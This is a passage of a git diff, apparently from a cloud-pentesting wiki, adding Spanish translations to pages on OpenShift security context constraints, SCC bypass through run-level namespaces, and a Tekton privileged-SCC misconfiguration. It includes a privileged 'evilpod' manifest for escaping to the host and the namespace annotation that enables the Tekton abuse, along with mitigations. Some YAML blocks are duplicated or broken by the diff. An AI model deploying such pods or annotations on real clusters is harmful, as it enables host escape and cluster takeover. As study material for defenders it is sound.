openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Ahora, todos los nuevos pods creados en el namespace no deberían tener ningún SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
En ausencia de SCC, no hay restricciones en la definición de tu pod. Esto significa que se puede crear fácilmente un pod malicioso para escapar al sistema host.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Ahora, se ha vuelto más fácil escalar privilegios para acceder al sistema host y, posteriormente, apoderarse de todo el clúster, obteniendo privilegios de 'cluster-admin'. Busca la parte de **Node-Post Exploitation** en la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Etiquetas personalizadas
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Además, según la configuración objetivo, se pueden utilizar algunas etiquetas / anotaciones personalizadas de la misma manera que en el escenario de ataque anterior. Incluso si no están destinadas a ello, las etiquetas podrían usarse para otorgar permisos, restringir o no un recurso específico.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Intenta buscar etiquetas personalizadas si puedes leer algunos recursos. Aquí hay una lista de recursos interesantes:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Listar todos los espacios de nombres privilegiados
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
|
||||
## Advanced exploit
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
En OpenShift, como se demostró anteriormente, tener permiso para desplegar un pod en un namespace con la etiqueta `openshift.io/run-level` puede llevar a una toma de control directa del clúster. Desde la perspectiva de la configuración del clúster, esta funcionalidad **no se puede desactivar**, ya que es inherente al diseño de OpenShift.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Sin embargo, medidas de mitigación como **Open Policy Agent GateKeeper** pueden prevenir que los usuarios establezcan esta etiqueta.
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
Para eludir las reglas de GateKeeper y establecer esta etiqueta para ejecutar una toma de control del clúster, **los atacantes necesitarían identificar métodos alternativos.**
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**El autor original de esta página es** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### ¿Qué es tekton?
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Según la documentación: _Tekton es un marco de trabajo de código abierto poderoso y flexible para crear sistemas de CI/CD, permitiendo a los desarrolladores construir, probar y desplegar en proveedores de nube y sistemas locales._ Tanto Jenkins como Tekton pueden ser utilizados para probar, construir y desplegar aplicaciones, sin embargo, Tekton es Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Con Tekton, todo está representado por archivos YAML. Los desarrolladores pueden crear Recursos Personalizados (CR) de tipo `Pipelines` y especificar múltiples `Tasks` en ellos que desean ejecutar. Para ejecutar un Pipeline, deben crearse recursos de tipo `PipelineRun`.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Cuando tekton está instalado, se crea una cuenta de servicio (sa) llamada pipeline en cada namespace. Cuando se ejecuta un Pipeline, se generará un pod utilizando esta sa llamada `pipeline` para ejecutar las tareas definidas en el archivo YAML.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Las capacidades de la cuenta de servicio de Pipeline
|
||||
|
||||
Por defecto, la cuenta de servicio de pipeline puede usar la capacidad `pipelines-scc`. Esto se debe a la configuración global predeterminada de tekton. De hecho, la configuración global de tekton también es un YAML en un objeto de openshift llamado `TektonConfig` que se puede ver si tienes algunos roles de lector en el clúster.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
En cualquier namespace, si puedes obtener el token de la cuenta de servicio del pipeline, podrás usar `pipelines-scc`.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### La Misconfiguración
|
||||
|
||||
El problema es que el scc predeterminado que la cuenta de servicio del pipeline puede usar es controlable por el usuario. Esto se puede hacer utilizando una etiqueta en la definición del namespace. Por ejemplo, si puedo crear un namespace con la siguiente definición yaml:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
El operador tekton otorgará a la cuenta de servicio del pipeline en `test-namespace` la capacidad de usar el scc privilegiado. Esto permitirá el montaje del nodo.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### La solución
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Los documentos de Tekton sobre cómo restringir la anulación de scc añadiendo una etiqueta en el objeto `TektonConfig`.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Esta etiqueta se llama `max-allowed` 
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**El autor original de esta página es** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
## Definición
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
En el contexto de OpenShift, SCC significa **Security Context Constraints**. Las Security Context Constraints son políticas que controlan los permisos para los pods que se ejecutan en los clústeres de OpenShift. Definen los parámetros de seguridad bajo los cuales se permite que un pod se ejecute, incluyendo qué acciones puede realizar y qué recursos puede acceder.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
Las SCC ayudan a los administradores a hacer cumplir las políticas de seguridad en todo el clúster, asegurando que los pods se ejecuten con los permisos apropiados y cumplan con los estándares de seguridad organizacionales. Estas restricciones pueden especificar varios aspectos de la seguridad del pod, tales como:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Capacidades de Linux: Limitando las capacidades disponibles para los contenedores, como la capacidad de realizar acciones privilegiadas.
|
||||
2. Contexto SELinux: Haciendo cumplir los contextos SELinux para los contenedores, que definen cómo los procesos interactúan con los recursos en el sistema.
|
||||
3. Sistema de archivos raíz de solo lectura: Impidiendo que los contenedores modifiquen archivos en ciertos directorios.
|
||||
4. Directorios y volúmenes de host permitidos: Especificando qué directorios y volúmenes de host puede montar un pod.
|
||||
5. Ejecutar como UID/GID: Especificando los IDs de usuario y grupo bajo los cuales se ejecuta el proceso del contenedor.
|
||||
6. Políticas de red: Controlando el acceso a la red para los pods, como restringir el tráfico de salida.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Al configurar las SCC, los administradores pueden asegurarse de que los pods se ejecuten con el nivel apropiado de aislamiento de seguridad y controles de acceso, reduciendo el riesgo de vulnerabilidades de seguridad o acceso no autorizado dentro del clúster.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Básicamente, cada vez que se solicita un despliegue de pod, se ejecuta un proceso de admisión como el siguiente:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Esta capa de seguridad adicional por defecto prohíbe la creación de pods privilegiados, el montaje del sistema de archivos del host, o la configuración de cualquier atributo que podría llevar a una escalada de privilegios.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Lista SCC
|
||||
|
||||
Para listar todas las SCC con el cliente de Openshift:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,35 +37,26 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Todos los usuarios tienen acceso a los SCC predeterminados "**restricted**" y "**restricted-v2**", que son los SCC más estrictos.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Usar SCC
|
||||
|
||||
El SCC utilizado para un pod se define dentro de una anotación:
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Cuando un usuario tiene acceso a múltiples SCCs, el sistema utilizará el que se alinee con los valores del contexto de seguridad. De lo contrario, se activará un error de prohibido.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user